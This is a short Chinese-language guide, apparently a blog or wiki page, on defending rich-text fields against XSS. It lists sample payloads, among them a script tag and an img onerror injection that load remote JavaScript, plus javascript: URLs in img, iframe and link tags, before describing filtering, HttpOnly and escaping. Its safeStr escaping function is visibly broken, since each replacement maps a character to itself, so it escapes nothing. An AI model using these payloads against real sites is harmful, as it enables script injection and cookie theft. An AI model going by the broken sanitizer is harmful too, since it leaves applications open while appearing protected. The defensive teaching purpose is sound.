team
team copied to clipboard
富文本安全前端防御问题
富文本安全前端防御问题
- XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS。
常见 XSS 遇到的攻击方法
- 普通的XSS JavaScript注入
<script src=http://3w.org/XSS/xss.js></script>
- IMG标签XSS使用JavaScript命令
<img scr=1 onerror=alert('xss')>
- IMG标签无分号无引号
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
<img src=javascript:alert('XSS')>
- 嵌入式标签,将Javascript分开
<img src="jav ascript:alert('XSS');">
- 双开括号
<<script>alert("XSS");//<</script>
- iframe | frame
<iframe src="javascript:alert('XSS');"></iframe>
<frameset><frame SRC="javascript:alert('XSS');"></frameset>
- 超链接
<a href=javascrip:alert('xss')>s</a>
XSS攻击防御的手段
- 因为XSS的根本就是向网站插入脚本代码,并使它运行的一种手段。防御方法分为两种,服务端防御和客户端防御。
服务端防御:
- HttpOnly 可以限制javascript不能读取cookie,防止会话ID泄露
- 处理富文本 过滤掉富文本中的敏感标签如(script、iframe、form、img),还有敏感词(javascript:) 等等
客户端防御:
- 输入检查 防止输入敏感字段,如javascript、cookie等等
- 检查输出 脚本都是通过混淆在HTML当中,被当成html代码的一部分才得到执行。 可以通过编码转义的办法,使得混淆在其中的脚本被当成文本处理,不会被执行。 编码转义的话,有三种方法:
-
将能被转换为html的输入内容,在写代码时改为
innerText
而不用innerHTML
-
实在没有办法的情况下可用如下方法(js代码)
function safeStr(str){
return str.replace(/</g,'<').replace(/>/g,'>').replace(/"/g, """).replace(/'/g, "'");
}
- URL Encode* 使用URLEncode的方法。
略懂中常被攻击的场景
-
用户手动输入用户名导致注入
-
富文本中发布文章、提问、投票、PK等
(1)构造了下昵称,可以把页面层级弄乱
参考 : 更多xss实例